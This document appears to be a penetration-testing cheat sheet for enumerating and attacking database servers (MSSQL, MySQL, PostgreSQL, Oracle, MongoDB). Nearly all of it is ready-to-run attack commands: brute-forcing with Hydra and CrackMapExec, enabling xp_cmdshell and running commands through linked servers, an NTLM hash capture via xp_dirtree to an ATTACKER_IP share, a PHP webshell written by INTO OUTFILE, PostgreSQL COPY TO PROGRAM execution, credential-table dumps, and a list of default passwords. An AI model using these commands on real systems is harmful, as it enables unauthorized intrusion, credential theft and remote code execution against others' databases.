Database Enumeration

# Database ports
nmap -p 1433,1434,3306,5432,1521,27017,6379,9200 -sV TARGET

# Common database ports:
# 1433/tcp - MSSQL
# 1434/udp - MSSQL Browser
# 3306/tcp - MySQL/MariaDB
# 5432/tcp - PostgreSQL
# 1521/tcp - Oracle
# 27017/tcp - MongoDB
# 6379/tcp - Redis
# 9200/tcp - Elasticsearch

# Full database scan
nmap -sV -sC --script=*-sql*,*-mysql*,*-pgsql*,*-oracle* TARGET

# Find MSSQL servers via SPN
GetUserSPNs.py corp.local/user:password -dc-ip DC_IP | grep MSSQL

# LDAP query
ldapsearch -x -H ldap://DC_IP -D "user@corp.local" -W \
  -b "DC=corp,DC=local" "(servicePrincipalName=*MSSQL*)" sAMAccountName servicePrincipalName

# PowerView
Get-DomainUser -SPN | Where-Object {$_.servicePrincipalName -like '*MSSQL*'}

# CrackMapExec
crackmapexec mssql 10.0.0.0/24 -u user -p pass

# Impacket mssqlclient
mssqlclient.py corp.local/user:password@SQL_SERVER
mssqlclient.py corp.local/user:password@SQL_SERVER -windows-auth

# sqsh
sqsh -S SQL_SERVER -U sa -P password
sqsh -S SQL_SERVER -U corp.local\user -P password

# CrackMapExec
crackmapexec mssql SQL_SERVER -u user -p pass -d corp.local

# Test local auth
crackmapexec mssql SQL_SERVER -u sa -p 'password' --local-auth

-- Server info
SELECT @@version;
SELECT @@servername;
SELECT DB_NAME();
SELECT CURRENT_USER;
SELECT SYSTEM_USER;

-- List databases
SELECT name FROM master.sys.databases;

-- List tables in database
SELECT * FROM INFORMATION_SCHEMA.TABLES;

-- List columns
SELECT * FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='users';

-- Find interesting data
SELECT name FROM sys.tables WHERE name LIKE '%user%';
SELECT name FROM sys.tables WHERE name LIKE '%pass%';
SELECT name FROM sys.tables WHERE name LIKE '%credit%';

-- Check if sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
SELECT IS_SRVROLEMEMBER('serveradmin');
SELECT IS_SRVROLEMEMBER('dbcreator');

-- Current user roles
SELECT dp.name, sp.name 
FROM sys.server_principals sp 
JOIN sys.server_role_members srm ON sp.principal_id = srm.role_principal_id 
JOIN sys.server_principals dp ON srm.member_principal_id = dp.principal_id;

-- Impersonation
SELECT distinct b.name 
FROM sys.server_permissions a 
INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id 
WHERE a.permission_name = 'IMPERSONATE';

-- Impersonate user
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER;
REVERT;

-- Check xp_cmdshell status
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

-- Enable xp_cmdshell (requires sysadmin)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

-- Execute commands
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'hostname';
EXEC xp_cmdshell 'ipconfig';

-- Impacket
mssqlclient.py user:password@SQL_SERVER -windows-auth
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami

-- List linked servers
EXEC sp_linkedservers;
SELECT * FROM sys.servers;

-- Test linked server connection
EXEC sp_testlinkedserver 'LINKEDSERVER';

-- Query linked server
SELECT * FROM OPENQUERY(LINKEDSERVER, 'SELECT @@version');

-- Execute on linked server
EXEC ('xp_cmdshell ''whoami''') AT [LINKEDSERVER];

-- Recursive links (double hop)
SELECT * FROM OPENQUERY("SERVER1", 'SELECT * FROM OPENQUERY("SERVER2", ''SELECT @@version'')');

-- Capture hash via xp_dirtree (requires SMB listener)
EXEC xp_dirtree '\\ATTACKER_IP\share';

-- xp_fileexist
EXEC xp_fileexist '\\ATTACKER_IP\share\file';

-- On attacker: Responder or Impacket smbserver
responder -I eth0
impacket-smbserver share . -smb2support

# Connect
mysql -h TARGET -u root -p
mysql -h TARGET -u user -ppassword

# CrackMapExec (if supported)
# Or use Hydra for bruteforce
hydra -l root -P passwords.txt TARGET mysql

-- Version info
SELECT @@version;
SELECT version();

-- Current user
SELECT user();
SELECT current_user();

-- List databases
SHOW DATABASES;

-- List tables
USE database_name;
SHOW TABLES;

-- Table structure
DESCRIBE table_name;

-- Privileges
SHOW GRANTS;
SHOW GRANTS FOR 'user'@'host';

-- MySQL 5.7+
SELECT Host, User, authentication_string FROM mysql.user;

-- MySQL 5.6 and earlier
SELECT Host, User, Password FROM mysql.user;

-- All user privileges
SELECT * FROM information_schema.user_privileges;

-- Read files (requires FILE privilege)
SELECT LOAD_FILE('/etc/passwd');

-- Write files
SELECT 'test' INTO OUTFILE '/tmp/test.txt';

-- Webshell (if web directory writable)
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

# Connect
psql -h TARGET -U postgres
psql -h TARGET -U user -d database

# With password
PGPASSWORD='password' psql -h TARGET -U postgres

-- Version
SELECT version();

-- Current user
SELECT current_user;
SELECT session_user;

-- List databases
\l
SELECT datname FROM pg_database;

-- List tables
\dt
SELECT tablename FROM pg_tables WHERE schemaname='public';

-- List users
\du
SELECT usename FROM pg_user;

-- User privileges
SELECT * FROM information_schema.role_table_grants;

-- Check if superuser
SELECT current_setting('is_superuser');

-- COPY command (requires superuser)
COPY (SELECT '') TO PROGRAM 'id';
COPY (SELECT '') TO PROGRAM 'whoami > /tmp/whoami.txt';

-- Read file
CREATE TABLE tmp(data text);
COPY tmp FROM '/etc/passwd';
SELECT * FROM tmp;

-- Large objects
SELECT lo_import('/etc/passwd', 12345);
\lo_export 12345 /tmp/passwd.txt

# MSSQL
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes -p 1433 TARGET

# MySQL
nmap --script mysql-info,mysql-enum,mysql-empty-password,mysql-brute,mysql-databases,mysql-users,mysql-variables -p 3306 TARGET

# PostgreSQL
nmap --script pgsql-brute -p 5432 TARGET

# Oracle
nmap --script oracle-sid-brute,oracle-brute -p 1521 TARGET

# MongoDB
nmap --script mongodb-info,mongodb-databases,mongodb-brute -p 27017 TARGET

# Authentication test
crackmapexec mssql TARGET -u user -p pass -d corp.local

# Execute query
crackmapexec mssql TARGET -u user -p pass -d corp.local -q "SELECT @@version"

# Execute command
crackmapexec mssql TARGET -u user -p pass -d corp.local -x "whoami"

# PowerShell command
crackmapexec mssql TARGET -u user -p pass -d corp.local -X "Get-Process"

# Get hashes (requires privileges)
crackmapexec mssql TARGET -u user -p pass -d corp.local --get-hash

# MSSQL
sa:sa
sa:password
sa:Password123
sa:(blank)

# MySQL
root:(blank)
root:root
root:mysql
root:password

# PostgreSQL
postgres:(blank)
postgres:postgres
postgres:password

# Oracle
scott:tiger
sys:change_on_install
system:manager

# MongoDB
(no auth by default)
admin:admin